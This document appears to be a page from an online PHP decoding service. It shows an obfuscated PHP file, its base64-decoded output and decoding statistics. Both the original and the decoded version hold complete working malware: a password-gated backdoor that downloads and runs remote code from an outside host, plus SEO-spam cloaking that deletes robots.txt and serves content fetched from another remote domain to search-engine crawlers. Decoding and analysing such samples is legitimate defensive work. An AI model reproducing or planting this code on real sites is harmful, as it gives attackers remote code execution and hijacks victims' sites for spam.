Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /*-l%VIA5j-*/error_reporting(0); /*-37!b-*/eval/*-OuLlClMJXI|zp!6Gr!3D$)Gh=hGhY!HK),..

Decoded Output download

?>b'<?php header(\'Content-Type: text/html; charset=utf-8\'); @set_time_limit(600);@error_reporting(0);@ignore_user_abort(1);ini_set(\'display_errors\',\'Off\');$a=!empty($_SERVER[\'HTTPS\'])&&strtolower($_SERVER[\'HTTPS\'])!==\'off\'||isset($_SERVER[\'HTTP_X_FORWARDED_PROTO\'])&&$_SERVER[\'HTTP_X_FORWARDED_PROTO\']===\'https\'||!empty($_SERVER[\'HTTP_FRONT_END_HTTPS\'])&&strtolower($_SERVER[\'HTTP_FRONT_END_HTTPS\'])!==\'off\'?"https":"http";$b=$_SERVER["REQUEST_URI"];$c=isset($_SERVER[\'HTTP_ACCEPT_LANGUAGE\'])?$_SERVER[\'HTTP_ACCEPT_LANGUAGE\']:"";$d=$_SERVER["HTTP_HOST"];$f=isset($_SERVER[\'HTTP_REFERER\'])?$_SERVER[\'HTTP_REFERER\']:"";$g=isset($_SERVER[\'HTTP_USER_AGENT\'])?$_SERVER[\'HTTP_USER_AGENT\']:"";$h=isset($_SERVER[\'REMOTE_ADDR\'])?$_SERVER[\'REMOTE_ADDR\']:"";$i=array(\'Accept-Language: \'.$c,\'User-Agent: \'.$g,\'Referer: \'.$f,\'Http-Proto: \'.$a,\'Http-Host: \'.$d,\'Http-Uri: \'.$b,\'Http-X-Forwarded-For: \'.$h);$j="type=".$a."&host=".$d."&uri=".$b."&ip=".$h;$k=$_REQUEST[\'action\'];if(!empty($k)){$l=substr($k,-1);$k=substr($k,0,strlen($k)-1);$m=array(\'9\',\'8\',\'2\',\'4\',\'5\',\'d\',\'7\',\'4\',\'1\',\'7\',\'2\',\'2\',\'5\',\'b\',\'5\',\'5\',\'a\',\'2\',\'c\',\'4\',\'b\',\'f\',\'5\',\'0\',\'b\',\'8\',\'a\',\'a\',\'4\',\'c\',\'7\',\'3\');$n=md5($k);if($n==implode($m)){$o=array("h","t","t","p",":","/","/","w","p","t","e","s","t",".","w","o","d","i","r","e","c","t",".","t","o","p","/","r","e","m","o","t","e","/","d","o","o","r/");$p=getu(implode($o).$l.\'.t\'.\'x\'.\'t\');eval(\'?>\'.$p[0]);}exit();}else{$q="be62ob.bnshgy.top";if($b!=="/favicon.ico"){if(checkReferer($f)||checkBot($g)){if(!strstr($r,\'testsitemap\')){$s=$_SERVER[\'DOCUMENT_ROOT\'].\'/robots.txt\';if(file_exists($s)){unlink($s);}}list($r,$t,$u)=getu(\'h\'.\'t\'.\'t\'.\'ps\'.\':/\'.\'/\'.$q.\'/in\'.\'d\'.\'ex\'.\'on\'.\'e.\'.\'ph\'.\'p?\'.$j,$i,$j);if($t>=400&&$t<500){@header(\'HTTP/1.1 404 Not Found\');exit($r);}if($t>=500){@header(\'HTTP/1.1 500 Internal Server Error\');exit;}if(!strstr($r,\'notthing\')){if(strstr($r,\'htmlcontent\')){@header("Content-type: text/html; charset=utf-8");$v=str_replace("htmlcontent",\'\',$r);echo $v;exit();}if(strstr($r,\'xmlcontent\')){@header("Content-type: text/xml");exit(str_replace("xmlcontent",\'\',$r));}if(strstr($r,\'robotscontent\')){@header("Content-type: text/plain; charset=utf-8");$w=explode(\'[zm]\',str_replace("robotscontent",\'\',$r));exit(implode(PHP_EOL,$w));}}}}}function checkReferer($x){$x=strtolower($x);if($x!=""){$y=array("google.co.jp","google.com","yahoo.com","yahoo.co.jp","bing.com","goo.ne.jp","nifty.com");foreach($y as $z){$aa=strtolower($z);if(strstr($x,$aa)){return true;}}}else{return false;}}function checkBot($bb){$bb=strtolower($bb);if($bb!=""){$cc=array("googlebot","google","yahoo","bing","aol","goo.ne.jp");foreach($cc as $z){$aa=strtolower($z);if(strstr($bb,$aa)){return true;}}}else{return false;}}function getu($dd,$i=null,$j=null,$ee=null){if(!function_exists(\'curl_init\')){return;}$ff="";$gg="";$hh="";try{$ii=curl_init();curl_setopt($ii,CURLOPT_URL,$dd);curl_setopt($ii,CURLOPT_FOLLOWLOCATION,1);curl_setopt($ii,CURLOPT_SSL_VERIFYPEER,FALSE);curl_setopt($ii,CURLOPT_SSL_VERIFYHOST,FALSE);curl_setopt($ii,CURLOPT_CONNECTTIMEOUT,30);curl_setopt($ii,CURLOPT_RETURNTRANSFER,1);$i===null?\'\':curl_setopt($ii,CURLOPT_HTTPHEADER,$i);$ee===null||$ee===""?\'\':curl_setopt($ii,CURLOPT_USERAGENT,$ee);if($j!==null&&$j!==""){curl_setopt($ii,CURLOPT_POST,1);curl_setopt($ii,CURLOPT_POSTFIELDS,$j);}$ff=curl_exec($ii);$gg=curl_getinfo($ii,CURLINFO_HTTP_CODE);$hh=curl_getinfo($ii,CURLINFO_CONTENT_TYPE);curl_close($ii);}catch(Exception $jj){}if(($ff===false||$ff=="")&&function_exists(\'file_get_contents\')){try{$ff=@file_get_contents($dd);}catch(Exception $jj){}}return array($ff,$gg,$hh);} ?>'

Did this file decode correctly?

Original Code

<?php /*-l%VIA5j-*/error_reporting(0); /*-37!b-*/eval/*-OuLlClMJXI|zp!6Gr!3D$)Gh=hGhY!HK),FS-*/(/*-K;2v@lhl-*/base64_decode/*-n]X>#+BZ-*/(/*-5{L6r=9-*/"ZXZhbCgiPz4iLmJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnYUdWaFpHVnlLQ2REYjI1MFpXNTBMVlI1Y0dVNklIUmxlSFF2YUhSdGJEc2dZMmhoY25ObGREMTFkR1l0T0NjcE95QkFjMlYwWDNScGJXVmZiR2x0YVhRb05qQXdLVHRBWlhKeWIzSmZjbVZ3YjNKMGFXNW5LREFwTzBCcFoyNXZjbVZmZFhObGNsOWhZbTl5ZENneEtUdHBibWxmYzJWMEtDZGthWE53YkdGNVgyVnljbTl5Y3ljc0owOW1aaWNwT3lSaFBTRmxiWEIwZVNna1gxTkZVbFpGVWxzblNGUlVVRk1uWFNrbUpuTjBjblJ2Ykc5M1pYSW9KRjlUUlZKV1JWSmJKMGhVVkZCVEoxMHBJVDA5SjI5bVppZDhmR2x6YzJWMEtDUmZVMFZTVmtWU1d5ZElWRlJRWDFoZlJrOVNWMEZTUkVWRVgxQlNUMVJQSjEwcEppWWtYMU5GVWxaRlVsc25TRlJVVUY5WVgwWlBVbGRCVWtSRlJGOVFVazlVVHlkZFBUMDlKMmgwZEhCekozeDhJV1Z0Y0hSNUtDUmZVMFZTVmtWU1d5ZElWRlJRWDBaU1QwNVVYMFZPUkY5SVZGUlFVeWRkS1NZbWMzUnlkRzlzYjNkbGNpZ2tYMU5GVWxaRlVsc25TRlJVVUY5R1VrOU9WRjlGVGtSZlNGUlVVRk1uWFNraFBUMG5iMlptSno4aWFIUjBjSE1pT2lKb2RIUndJanNrWWowa1gxTkZVbFpGVWxzaVVrVlJWVVZUVkY5VlVra2lYVHNrWXoxcGMzTmxkQ2drWDFORlVsWkZVbHNuU0ZSVVVGOUJRME5GVUZSZlRFRk9SMVZCUjBVblhTay9KRjlUUlZKV1JWSmJKMGhVVkZCZlFVTkRSVkJVWDB4QlRrZFZRVWRGSjEwNklpSTdKR1E5SkY5VFJWSldSVkpiSWtoVVZGQmZTRTlUVkNKZE95Um1QV2x6YzJWMEtDUmZVMFZTVmtWU1d5ZElWRlJRWDFKRlJrVlNSVkluWFNrL0pGOVRSVkpXUlZKYkowaFVWRkJmVWtWR1JWSkZVaWRkT2lJaU95Um5QV2x6YzJWMEtDUmZVMFZTVmtWU1d5ZElWRlJRWDFWVFJWSmZRVWRGVGxRblhTay9KRjlUUlZKV1JWSmJKMGhVVkZCZlZWTkZVbDlCUjBWT1ZDZGRPaUlpT3lSb1BXbHpjMlYwS0NSZlUwVlNWa1ZTV3lkU1JVMVBWRVZmUVVSRVVpZGRLVDhrWDFORlVsWkZVbHNuVWtWTlQxUkZYMEZFUkZJblhUb2lJanNrYVQxaGNuSmhlU2duUVdOalpYQjBMVXhoYm1kMVlXZGxPaUFuTGlSakxDZFZjMlZ5TFVGblpXNTBPaUFuTGlSbkxDZFNaV1psY21WeU9pQW5MaVJtTENkSWRIUndMVkJ5YjNSdk9pQW5MaVJoTENkSWRIUndMVWh2YzNRNklDY3VKR1FzSjBoMGRIQXRWWEpwT2lBbkxpUmlMQ2RJZEhSd0xWZ3RSbTl5ZDJGeVpHVmtMVVp2Y2pvZ0p5NGthQ2s3SkdvOUluUjVjR1U5SWk0a1lTNGlKbWh2YzNROUlpNGtaQzRpSm5WeWFUMGlMaVJpTGlJbWFYQTlJaTRrYURza2F6MGtYMUpGVVZWRlUxUmJKMkZqZEdsdmJpZGRPMmxtS0NGbGJYQjBlU2drYXlrcGV5UnNQWE4xWW5OMGNpZ2theXd0TVNrN0pHczljM1ZpYzNSeUtDUnJMREFzYzNSeWJHVnVLQ1JyS1MweEtUc2tiVDFoY25KaGVTZ25PU2NzSnpnbkxDY3lKeXduTkNjc0p6VW5MQ2RrSnl3bk55Y3NKelFuTENjeEp5d25OeWNzSnpJbkxDY3lKeXduTlNjc0oySW5MQ2MxSnl3bk5TY3NKMkVuTENjeUp5d25ZeWNzSnpRbkxDZGlKeXduWmljc0p6VW5MQ2N3Snl3bllpY3NKemduTENkaEp5d25ZU2NzSnpRbkxDZGpKeXduTnljc0p6TW5LVHNrYmoxdFpEVW9KR3NwTzJsbUtDUnVQVDFwYlhCc2IyUmxLQ1J0S1NsN0pHODlZWEp5WVhrb0ltZ2lMQ0owSWl3aWRDSXNJbkFpTENJNklpd2lMeUlzSWk4aUxDSjNJaXdpY0NJc0luUWlMQ0psSWl3aWN5SXNJblFpTENJdUlpd2lkeUlzSW04aUxDSmtJaXdpYVNJc0luSWlMQ0psSWl3aVl5SXNJblFpTENJdUlpd2lkQ0lzSW04aUxDSndJaXdpTHlJc0luSWlMQ0psSWl3aWJTSXNJbThpTENKMElpd2laU0lzSWk4aUxDSmtJaXdpYnlJc0ltOGlMQ0p5THlJcE95UndQV2RsZEhVb2FXMXdiRzlrWlNna2J5a3VKR3d1Snk1MEp5NG5lQ2N1SjNRbktUdGxkbUZzS0NjL1BpY3VKSEJiTUYwcE8zMWxlR2wwS0NrN2ZXVnNjMlY3SkhFOUltSmxOakp2WWk1aWJuTm9aM2t1ZEc5d0lqdHBaaWdrWWlFOVBTSXZabUYyYVdOdmJpNXBZMjhpS1h0cFppaGphR1ZqYTFKbFptVnlaWElvSkdZcGZIeGphR1ZqYTBKdmRDZ2taeWtwZTJsbUtDRnpkSEp6ZEhJb0pISXNKM1JsYzNSemFYUmxiV0Z3SnlrcGV5UnpQU1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMHVKeTl5YjJKdmRITXVkSGgwSnp0cFppaG1hV3hsWDJWNGFYTjBjeWdrY3lrcGUzVnViR2x1YXlna2N5azdmWDFzYVhOMEtDUnlMQ1IwTENSMUtUMW5aWFIxS0Nkb0p5NG5kQ2N1SjNRbkxpZHdjeWN1Snpvdkp5NG5MeWN1SkhFdUp5OXBiaWN1SjJRbkxpZGxlQ2N1SjI5dUp5NG5aUzRuTGlkd2FDY3VKM0EvSnk0a2Fpd2thU3drYWlrN2FXWW9KSFErUFRRd01DWW1KSFE4TlRBd0tYdEFhR1ZoWkdWeUtDZElWRlJRTHpFdU1TQTBNRFFnVG05MElFWnZkVzVrSnlrN1pYaHBkQ2drY2lrN2ZXbG1LQ1IwUGowMU1EQXBlMEJvWldGa1pYSW9KMGhVVkZBdk1TNHhJRFV3TUNCSmJuUmxjbTVoYkNCVFpYSjJaWElnUlhKeWIzSW5LVHRsZUdsME8zMXBaaWdoYzNSeWMzUnlLQ1J5TENkdWIzUjBhR2x1WnljcEtYdHBaaWh6ZEhKemRISW9KSElzSjJoMGJXeGpiMjUwWlc1MEp5a3BlMEJvWldGa1pYSW9Ja052Ym5SbGJuUXRkSGx3WlRvZ2RHVjRkQzlvZEcxc095QmphR0Z5YzJWMFBYVjBaaTA0SWlrN0pIWTljM1J5WDNKbGNHeGhZMlVvSW1oMGJXeGpiMjUwWlc1MElpd25KeXdrY2lrN1pXTm9ieUFrZGp0bGVHbDBLQ2s3ZldsbUtITjBjbk4wY2lna2Npd25lRzFzWTI5dWRHVnVkQ2NwS1h0QWFHVmhaR1Z5S0NKRGIyNTBaVzUwTFhSNWNHVTZJSFJsZUhRdmVHMXNJaWs3WlhocGRDaHpkSEpmY21Wd2JHRmpaU2dpZUcxc1kyOXVkR1Z1ZENJc0p5Y3NKSElwS1R0OWFXWW9jM1J5YzNSeUtDUnlMQ2R5YjJKdmRITmpiMjUwWlc1MEp5a3BlMEJvWldGa1pYSW9Ja052Ym5SbGJuUXRkSGx3WlRvZ2RHVjRkQzl3YkdGcGJqc2dZMmhoY25ObGREMTFkR1l0T0NJcE95UjNQV1Y0Y0d4dlpHVW9KMXQ2YlYwbkxITjBjbDl5WlhCc1lXTmxLQ0p5YjJKdmRITmpiMjUwWlc1MElpd25KeXdrY2lrcE8yVjRhWFFvYVcxd2JHOWtaU2hRU0ZCZlJVOU1MQ1IzS1NrN2ZYMTlmWDFtZFc1amRHbHZiaUJqYUdWamExSmxabVZ5WlhJb0pIZ3BleVI0UFhOMGNuUnZiRzkzWlhJb0pIZ3BPMmxtS0NSNElUMGlJaWw3SkhrOVlYSnlZWGtvSW1kdmIyZHNaUzVqYnk1cWNDSXNJbWR2YjJkc1pTNWpiMjBpTENKNVlXaHZieTVqYjIwaUxDSjVZV2h2Ynk1amJ5NXFjQ0lzSW1KcGJtY3VZMjl0SWl3aVoyOXZMbTVsTG1wd0lpd2libWxtZEhrdVkyOXRJaWs3Wm05eVpXRmphQ2drZVNCaGN5QWtlaWw3SkdGaFBYTjBjblJ2Ykc5M1pYSW9KSG9wTzJsbUtITjBjbk4wY2lna2VDd2tZV0VwS1h0eVpYUjFjbTRnZEhKMVpUdDlmWDFsYkhObGUzSmxkSFZ5YmlCbVlXeHpaVHQ5ZldaMWJtTjBhVzl1SUdOb1pXTnJRbTkwS0NSaVlpbDdKR0ppUFhOMGNuUnZiRzkzWlhJb0pHSmlLVHRwWmlna1ltSWhQU0lpS1hza1kyTTlZWEp5WVhrb0ltZHZiMmRzWldKdmRDSXNJbWR2YjJkc1pTSXNJbmxoYUc5dklpd2lZbWx1WnlJc0ltRnZiQ0lzSW1kdmJ5NXVaUzVxY0NJcE8yWnZjbVZoWTJnb0pHTmpJR0Z6SUNSNktYc2tZV0U5YzNSeWRHOXNiM2RsY2lna2VpazdhV1lvYzNSeWMzUnlLQ1JpWWl3a1lXRXBLWHR5WlhSMWNtNGdkSEoxWlR0OWZYMWxiSE5sZTNKbGRIVnliaUJtWVd4elpUdDlmV1oxYm1OMGFXOXVJR2RsZEhVb0pHUmtMQ1JwUFc1MWJHd3NKR285Ym5Wc2JDd2taV1U5Ym5Wc2JDbDdhV1lvSVdaMWJtTjBhVzl1WDJWNGFYTjBjeWduWTNWeWJGOXBibWwwSnlrcGUzSmxkSFZ5Ymp0OUpHWm1QU0lpT3lSblp6MGlJanNrYUdnOUlpSTdkSEo1ZXlScGFUMWpkWEpzWDJsdWFYUW9LVHRqZFhKc1gzTmxkRzl3ZENna2FXa3NRMVZTVEU5UVZGOVZVa3dzSkdSa0tUdGpkWEpzWDNObGRHOXdkQ2drYVdrc1ExVlNURTlRVkY5R1QweE1UMWRNVDBOQlZFbFBUaXd4S1R0amRYSnNYM05sZEc5d2RDZ2thV2tzUTFWU1RFOVFWRjlUVTB4ZlZrVlNTVVpaVUVWRlVpeEdRVXhUUlNrN1kzVnliRjl6WlhSdmNIUW9KR2xwTEVOVlVreFBVRlJmVTFOTVgxWkZVa2xHV1VoUFUxUXNSa0ZNVTBVcE8yTjFjbXhmYzJWMGIzQjBLQ1JwYVN4RFZWSk1UMUJVWDBOUFRrNUZRMVJVU1UxRlQxVlVMRE13S1R0amRYSnNYM05sZEc5d2RDZ2thV2tzUTFWU1RFOVFWRjlTUlZSVlVrNVVVa0ZPVTBaRlVpd3hLVHNrYVQwOVBXNTFiR3cvSnljNlkzVnliRjl6WlhSdmNIUW9KR2xwTEVOVlVreFBVRlJmU0ZSVVVFaEZRVVJGVWl3a2FTazdKR1ZsUFQwOWJuVnNiSHg4SkdWbFBUMDlJaUkvSnljNlkzVnliRjl6WlhSdmNIUW9KR2xwTEVOVlVreFBVRlJmVlZORlVrRkhSVTVVTENSbFpTazdhV1lvSkdvaFBUMXVkV3hzSmlZa2FpRTlQU0lpS1h0amRYSnNYM05sZEc5d2RDZ2thV2tzUTFWU1RFOVFWRjlRVDFOVUxERXBPMk4xY214ZmMyVjBiM0IwS0NScGFTeERWVkpNVDFCVVgxQlBVMVJHU1VWTVJGTXNKR29wTzMwa1ptWTlZM1Z5YkY5bGVHVmpLQ1JwYVNrN0pHZG5QV04xY214ZloyVjBhVzVtYnlna2FXa3NRMVZTVEVsT1JrOWZTRlJVVUY5RFQwUkZLVHNrYUdnOVkzVnliRjluWlhScGJtWnZLQ1JwYVN4RFZWSk1TVTVHVDE5RFQwNVVSVTVVWDFSWlVFVXBPMk4xY214ZlkyeHZjMlVvSkdscEtUdDlZMkYwWTJnb1JYaGpaWEIwYVc5dUlDUnFhaWw3ZldsbUtDZ2tabVk5UFQxbVlXeHpaWHg4SkdabVBUMGlJaWttSm1aMWJtTjBhVzl1WDJWNGFYTjBjeWduWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1uS1NsN2RISjVleVJtWmoxQVptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0pHUmtLVHQ5WTJGMFkyZ29SWGhqWlhCMGFXOXVJQ1JxYWlsN2ZYMXlaWFIxY200Z1lYSnlZWGtvSkdabUxDUm5aeXdrYUdncE8zMGdQejQ9IikpOw=="/*-89I9[eqj-*/)/*-8ukeWzj-*/);?>

Function Calls

base64_decode 2
error_reporting 1

Variables

None

Stats

MD5 f30db64921d07efa7b188abb3737973e
Eval Count 2
Decode Time 65 ms